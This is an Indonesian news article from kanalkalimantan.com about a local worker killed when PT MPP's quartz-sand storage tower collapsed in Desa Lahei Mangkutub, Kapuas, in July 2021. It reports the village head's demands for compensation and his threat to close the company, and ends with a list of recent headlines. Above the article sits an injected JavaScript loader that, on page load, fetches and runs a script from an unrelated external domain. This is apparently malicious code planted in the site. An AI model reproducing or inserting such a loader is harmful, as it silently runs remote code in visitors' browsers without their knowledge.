(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pekerja Lokal Tewas Tertimpa Tower Penampungan Pasir Kuarsa, Ini Tuntutan Kades


KANALKALIMANTAN. COM, KUALA KAPUAS – Musibah robohnya corong atau tower penampung pasir kuarsa milik PT MPP yang beroperasi di Desa Lahei Mangkutub, Kecamatan Mantangai, Kabupaten Kapuas, Selasa (13/7/2021) , menewaskan seorang pekerja lokal.

Korban bernama Ahmad Albar (20), warga Desa Lahei Mangkutub RT 07, Kecamatan Mantangai, meninggal dunia tertimpa tower penampung pasir tersebut. Dalam kejadian juga ada pekerja warga negara asing (WNA) yang selamat, namun mengalami luka hingga dilarikan ke rumah sakit di Palangkaraya.

Terkait insiden robohnya tower tersebut, Kepala Desa Lahei Mangkutub, Ugak mengatakan, atas nama pemerintah desa dan mewakili saudara dari korban, meminta kepedulian PT MPP untuk membantu korban.

Baca juga: Relawan PPKM Mikro Kaladan Jaya-Puskesmas Mantangai Pantau Kegiatan Posyandu Lansia

 

 

“Kalau memang pihak perusahaan tidak membantu korban akibat runtuhnya tower itu, maka kami selaku kepala desa Lahei Mangkutub akan melakukan penutupan perusahaan tersebut, walaupun mempunyai izin resmi,” tegasnya.

Memang pihak PT MPP telah memberikan santunan biaya pemakaman sebesar Rp 20 juta kepada pihak keluarga korban, namun pihak perusahaan juga berjanji memberikan bantuan kembali.

Kades Lahei Mangkutub Ugak. Foto: ags

“Kami mewakili pihak keluarga korban akan menuntut janji tersebut, apabila janji tidak sesuai atau sengaja lupa, maka selaku pihak keluarga korban dan atas nama kepala desa Lahei mangkutub akan melakukan penutupan terhadap PT MPP,” tegas Kades Lahei Mangkutub.

Baca juga: Malaysia Dapat Ratusan Izin Haji dari Arab Saudi

Kades Lahei Mangkutub menjelaskan, dengan kejadian ini menjadi pengalaman bagi pihak perusahaan khususnya PT MPP, agar melaksanakan fungsinya sebagai perusahaan, terutama yang berada di Desa Lahei Mangkutub. Para pekerja itu semua mempunyai hak-hak yang benar-benar sebagai karyawan di PT MPP sesuai dari dinas ketenaga kerjaan.

“Jangan hanya pihak perusahaan menggunakan lelah kita sebagai masyarakat yang diperlukan, sementara kewajiban perusahaan tidak dilaksanakan,” ucap Kades Lahei Mangkutub, Jumat (16/7/2021).

“Harapan kami selaku kepala desa Lahei Mangkutub, terutama bukan hanya perusahaan ini saja, akan tetapi seluruh perusahaan di wilayah Desa Lahei Mangkutub, agar melaksanakan kewajibannya, apalagi telah memperkerjakan warga negara asing,” ucap Ugak. (kanalkalimantan.com/ags)

Editor : kk


Risa

Recent Posts

Empat Sapi Limousin dari Kapolri Diserahkan ke Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Berbagai pihak tergerak dalam kegiatan rutin Malam. Senin 5 Rajab yang akan… Read More

1 jam ago

Haul ke-15 KH Husein Mughni dan Haul ke-4 KH Hasan Rusydi Digelar di Kediaman KH Naufal Rosyad

KANALKALIMANTAN.COM, MARTAPURA - Haul ke-15 KH Husein Mughni bin H Dahlan dan Haul ke-4 KH… Read More

2 jam ago

Kesempatan Jadi Bintang Dangdut, Ikuti Audisi KDI 2025 Segera di Kotamu

KANALKALIMANTAN.COM - Kontes Dangdut Indonesia (KDI) 2025 memanggil seluruh calon bintang dangdut Indonesia. KDI 2024… Read More

4 jam ago

Sidang Korupsi Proyek PUPR Kalsel: Jaksa KPK Ungkap Aliran Uang Suap Tiga Proyek ke Pejabat PUPR

KANALKALIMANTAN.COM, BANJARMASIN - Jaksa Penuntut Umum (JPU) dari Komisi Pemberantasan Korupsi (KPK) membacakan surat dakwaan… Read More

5 jam ago

Wabup Banjar Serahkan 2 Ekor Sapi untuk Pelaksanaan Haul Abah Guru Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten (Pemkab) Banjar dan Bank Kalsel melalui program Unit Pengumpul Zakat… Read More

7 jam ago

15 Sekolah di Banjarbaru Siap Tampung Jemaah Acara Rutin Malam Senin Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Persiapan posko rest area hingga penginapan jelang kegiatan Rutinan Malam Senin 5… Read More

7 jam ago